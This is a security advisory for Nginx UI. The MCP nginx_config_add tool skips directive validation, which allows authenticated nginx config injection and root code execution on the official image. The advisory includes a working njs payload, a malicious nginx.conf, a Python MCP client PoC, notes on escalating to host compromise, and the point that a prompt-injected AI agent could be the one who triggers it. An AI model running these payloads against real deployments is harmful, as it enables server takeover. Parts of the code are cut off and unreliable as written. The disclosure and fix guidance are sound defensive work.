GHSA-76pm-mq2q-9gcr Nginx UI: MCP nginx_config_add skips config directive validation → authenticated nginx directive injection (RCE on the official image)

• Go github.com/0xJacky/Nginx-UI: < 1.9.10-0.20260703131214-23d1934099b0 → fixed in 1.9.10-0.20260703131214-23d1934099b0

Summary `internal/config/validation.go` (`ValidateConfigFile`) is a security control that blocks dangerous nginx directives — `js_*`, `perl_*`, `load_module` of the njs/perl modules, and `user root`. It is enforced on three of the four config-write paths: `api/config/add.go`, `api/config/modify.go`, and `mcp/config/config_modify.go`. The fourth path — the MCP tool `nginx_config_add` (`mcp/config/config_add.go`) — does NOT call it: it writes the caller-supplied `content` straight to disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection) can therefore inject exactly the directives the control is meant to block, leading to nginx code execution on deployments where the njs/perl module is available (e.g. the official Docker image). Root cause — an incomplete hardening patch Commit `3e411d38` ("Harden config write paths", 2026-04-21) introduced `ValidateConfigFile` and wired it into the config-write paths — but its changeset touched only: api/config/add.go (+6), api/config/modify.go (+8), internal/config/validation.go (+199), mcp/config/config_modify.go (+5) It did NOT touch `mcp/config/config_add.go`. So the MCP add path was left without the validation that all of its sibling paths received. `config_add.go` has never called `ValidateConfigFile` (verified via git history); this is an oversight in the hardening, not a regression. Affected code (mcp/config/config_add.go, handleNginxConfigAdd) ```go content := mcp.GetString(args, "content") // caller-controlled ... path, err := config.ResolveConfPath(baseDir, name) // path is sandboxed to the conf dir (OK) ... err = os.WriteFile(path, []byte(content), 0644) // /status` → `Uid: 0 0 0 0` (workers run as root — `user root` took effect). • `GET http://127.0.0.1:8899/pwn` → `pwned` (njs `js_content` executed). • `/tmp/NJS_RCE_PROOF.txt` created, owned by root → JavaScript code execution in the nginx worker performing arbitrary file write as root. Reproduction payloads (self-contained) njs module written to `/etc/nginx/poc.js` via `nginx_config_add` (name="poc.js", base_dir=""): ```js import fs from 'fs'; function pwn(r){ try{ fs.writeFileSync('/tmp/NJS_RCE_PROOF.txt','njs-code-exec-ok\n'); }catch(e){ r.return(200,'ERR:'+e); return; } r.return(200,'pwned\n'); } export default { pwn }; ``` Main config overwritten via `nginx_config_add` (name="nginx.conf", base_dir="", overwrite=true): ```nginx load_module /usr/lib/nginx/modules/ngx_http_js_module.so; user root; worker_processes 1; error_log /var/log/nginx/error.log notice; pid /run/nginx.pid; events { worker_connections 1024; } http { include /etc/nginx/mime.types; default_type application/octet-stream; js_import poc from /etc/nginx/poc.js; server { listen 8899; location = /pwn { js_content poc.pwn; } } } ``` PoC client (MCP-over-SSE, Python stdlib only) Set `SECRET` to a valid node secret (printed in nginx-ui's first-boot logs) or a user JWT. Usage: `python3 poc_mcp_client.py list` then `python3 poc_mcp_client.py call ''`. ```python import sys, json, threading, queue, time, http.client BASE = "127.0.0.1:9000" SECRET = "" HDR = {"X-Node-Secret": SECRET} # or {"Authorization": "Bearer "} resp_q = queue.Queue(); endpoint = {} def sse_reader(): conn = http.client.HTTPConnection(BASE, timeout=60) conn.request("GET", "/mcp", headers={HDR, "Accept": "text/event-stream"}) r = conn.getresponse(); event = None while True: line = r.fp.readline() if not line: break line = line.decode("utf-8","replace").rstrip("\r\n") if line.startswith("event:"): event = line[6:].strip() elif line.startswith("data:"): data = line[5:].strip() if event == "endpoint": endpoint["url"] = data; endpoint["ready"] = True else: resp_q.put(data) elif line == "": event = None def post(obj): conn = http.client.HTTPConnection(BASE, timeout=30) conn.request("POST", endpoint["url"], body=json.dumps(obj).encode(), headers={HDR, "Content-Type": "application/json"}) return conn.getresponse().read() def wait(wid, t=20): end = time.time()+t while time.time() 1 else "list" if cmd == "list": post({"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}) print([t["name"] for t in wait(2)["result"]["tools"]]) elif cmd == "call": post({"jsonrpc":"2.0","id":3,"method":"tools/call", "params":{"name":sys.argv[2],"arguments":json.loads(sys.argv[3])}}) print(json.dumps(wait(3, 25), indent=1)) ``` Impact An authenticated MCP principal — or a connected AI agent subverted via prompt injection — bypasses the directive-validation security control and injects directives the project explicitly blocks elsewhere. On deployments with the njs/perl module available (the official Docker image ships `ngx_http_js_module.so`), this yields code execution in the nginx worker and, via `user root`, arbitrary file read/write as root (trivially escalated to full host compromise: `/root/.ssh/authorized_keys`, `/etc/cron.d/*`, overwriting a binary). On stock nginx without those modules it is a reliable DoS (failed reload) plus a `user root` privilege regression. Honest scope / caveats • Authenticated (node secret or user JWT), agent-mediated — not unauthenticated. • RCE is conditional on the njs/perl module being present; it ships in the official image, so the default Docker deployment is exploitable. Stock nginx without those modules → DoS instead. • The write path is sandboxed to the nginx conf dir (no path traversal); the bug is directive injection. (The main nginx.conf is inside that dir and can be overwritten with overwrite=true.) • nginx-ui runs as root by design (it manages nginx); the bypass additionally lets request-handling workers run as root via `user root`. Suggested fix Call `config.ValidateConfigFile(path, content)` in `handleNginxConfigAdd` before `os.WriteFile`, matching `mcp/config/config_modify…